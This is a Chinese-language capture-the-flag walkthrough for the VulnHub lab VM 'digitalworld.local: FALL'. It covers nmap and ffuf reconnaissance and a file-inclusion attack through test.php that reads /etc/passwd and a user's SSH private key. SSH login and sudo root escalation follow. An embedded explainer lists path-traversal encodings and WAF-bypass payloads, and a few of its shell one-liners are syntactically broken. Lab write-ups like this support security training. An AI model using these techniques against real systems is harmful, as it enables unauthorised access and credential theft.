digitalworld.local: FALL
來自 <digitalworld.local: FALL ~ VulnHub>
1,將兩臺虛擬機網絡連接都改為NAT模式
2,攻擊機上做namp局域網掃描發現靶機
nmap -sn 192.168.23.0/24
那么攻擊機IP為192.168.23.182,靶場IP192.168.23.4
3,對靶機進行端口服務探測
nmap -sV -T4 -p- -A 192.168.23.4
端口/協議 | 狀態 | 服務名稱 | 版本/詳細信息 | 備注 |
22/tcp | 開放 | SSH | OpenSSH 7.8 (協議 2.0) | 支持三種主機密鑰類型:RSA(2048位)、ECDSA(256位)、ED25519(256位) |
80/tcp | 開放 | HTTP | Apache 2.4.39 (Fedora) | - 標題顯示"Good Tech Inc's Fall Sales" - robots.txt含1個禁止條目 使用OpenSSL 1.1.0i-fips模塊 |
139/tcp | 開放 | NetBIOS-SSN | Samba smbd 3.X - 4.X | 工作組:SAMBA 系統時間顯示為2025年(可能配置錯誤) |
443/tcp | 開放 | HTTPS | Apache 2.4.39 (Fedora) | - 使用自簽名SSL證書(CN=localhost.localdomain) 證書有效期:2019-08-15至2020-08-19(已過期) 檢測到CMS Made Simple生成器 |
445/tcp | 開放 | NetBIOS-SSN | Samba smbd 4.8.10 | 工作組:SAMBA 計算機名:FALL |
3306/tcp | 開放 | MySQL | 未授權訪問 | 可能存在安全風險 |
9090/tcp | 開放 | Cockpit Web | 版本162-188 | 強制HTTPS重定向 未驗證SSL證書有效性 |
111/tcp | 關閉 | rpcbind | - | 服務未運行 |
8000/tcp | 關閉 | HTTP-alt | - | 服務未運行 |
8080/tcp | 關閉 | HTTP-proxy | - | 服務未運行 |
8443/tcp | 關閉 | HTTPS-alt | - | 服務未運行 |
4,掃描一下smb服務
5,訪問80端口存在的http服務
存在兩個人名:qiu,patrick。再掃描爆破網站子目錄
dirsearch -u http://192.168.23.4 -x 404,403
然后掃描識別網站指紋
whatweb -v http://192.168.23.4
訪問掃描到的網站子目錄
http://192.168.23.4/robots.txt
http://192.168.23.4/test.php
提示GET請求參數有問題,需要構造請求參數。模糊測試一下爆破出請求參數
ffuf -u http://192.168.23.4/test.php?FUZZ=../../../../../../etc/passwd -w /usr/share/wordlists/dirb/big.txt -fs 80
爆出來是file參數
http://192.168.23.4/test.php?file=../../../../../../etc/passwd
文件包含漏洞利用成功
?
在路徑遍歷(Path Traversal)攻擊中,確定?../?的數量(即需要回溯多少層目錄)是一個關鍵步驟,但具體數量取決于?目標應用的上下文路徑?和?服務器的文件系統結構。以下是逐步分析:
1. 基本原理
- ../?的作用:每個?../?表示向上一級目錄。例如:
plaintext
/var/www/html/test.php???? # 當前文件路徑
../../../../etc/passwd???? # 需要回溯 4 層到根目錄,再進入 /etc/passwd - 目標文件位置:假設目標文件是?/etc/passwd,位于系統的根目錄下,你需要從當前路徑回溯到根目錄,再進入?/etc。
2. 為什么示例中使用?6?個?../?
在示例命令中:
ffuf -u "http://192.168.23.4/test.php?FUZZ=../../../../../../etc/passwd" -w wordlist.txt -fs 80
使用?6?個?../?可能是基于以下假設:
- 默認 Web 目錄結構:假設?test.php?位于類似?/var/www/html/?的路徑中。
- /var/www/html/?需要回溯 3 層到根目錄:../../..
- 再附加?/etc/passwd,總共需要?3 + 1 = 4?個?../(因為?/etc?在根目錄下)。
- 但為什么示例用 6 個??可能是為了覆蓋更深或更復雜的目錄結構(如容器化環境、多層子目錄)。
3. 如何科學確定?../?的數量?
方法 1:逐步測試不同層數
直接通過?ffuf?動態生成不同數量的?../,觀察響應差異:
# 生成 1-10 個 ../ 進行測試(FUZZ 替換為不同數量的 ../)
ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" \
? -w <(for i in {1..10}; do echo "../".repeat($i); done) \
? -fs 80
- 解釋:通過循環生成?1?到?10?個?../,測試不同層數的有效性。
方法 2:觀察錯誤響應
- 觸發錯誤:如果使用的?../?不足,可能返回?404 Not Found?或空內容。
- 成功標志:如果成功讀取?/etc/passwd,響應內容中會包含系統用戶信息(如?root:x:0:0:?等字段)。
方法 3:結合已知路徑推斷
- 如果已知目標服務器的 Web 根目錄(如?/var/www/html),計算到根目錄需要多少層:
/var/www/html/ → 需要 3 個 ../ 到根目錄
/opt/app/web/? → 需要 3 個 ../ 到根目錄 - 在此基礎上附加?/etc/passwd,共需要?3 + 1 = 4?個?../。
4. 為什么有時需要更多?../?
- 容器或虛擬環境:目標應用可能運行在嵌套目錄中(如 Docker 容器、多層虛擬化)。
- 符號鏈接或重定向:服務器配置可能導致實際路徑比預期更深。
- 冗余回溯:某些應用會過濾固定數量的?../,冗余的?../?可以繞過過濾(如?....//?或?....\/)。
5. 自動化優化技巧
- 使用占位符模糊測試:直接讓工具自動嘗試不同層數:
# 使用 ffuf 的 "FUZZ" 占位符動態插入不同數量的 ../
ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" -w <(printf "%s\n" "../" "../.." "../../.." "../../../.." etc.) -fs 80 - 結合響應長度過濾:通過?-fs?或?-fc?過濾掉固定長度的錯誤響應。
6. 其他注意事項
- 操作系統差異:
- Linux:路徑分隔符為?/,目標文件如?/etc/passwd。
- Windows:路徑分隔符為?\,可能需要?..\?或 URL 編碼(如?..%5c)。
- 編碼繞過:
- 對?../?進行 URL 編碼(如?%2e%2e%2f)或雙重編碼(如?%252e%252e%252f)。
- 使用非標準表示(如?....//、..\/)。
- WAF 繞過:
- 某些 Web 應用防火墻(WAF)會檢測?../,可嘗試以下變種:
....//
..%252f
%2e%2e%2f
總結
核心邏輯:通過測試不同數量的?../,找到能成功訪問目標文件的最小層數。
推薦實踐:使用?ffuf?動態生成層數,結合響應內容長度和關鍵詞過濾結果。例如:
ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" -w <(for i in {1..10}; do echo $(printf "../%.0s" {1..$i}); done) -fs 80 -mr "root:x:0"
- -mr "root:x:0":匹配響應中包含?root:x:0?的內容(即?/etc/passwd?的標識)
?
6,嘗試利用文件包含漏洞getshell,發現能夠文件包含到qiu用戶的ssh私鑰文件
http://192.168.23.4/test.php?file=../../../../../../home/qiu/.ssh/id_rsa
wget http://192.168.23.4/test.php?file=../../../../../../home/qiu/.ssh/id_rsa
mv 'test.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fqiu%2F.ssh%2Fid_rsa' id_rsa
chmod 400 id_rsa
ssh qiu@192.168.23.4 -i id_rsa
登錄成功,信息收集一下
cat .bash_history
這可能是密碼remarkablyawesomE
find / -perm -4000 -print 2>/dev/null
sudo sudo /bin/sh
提權成功,得到flag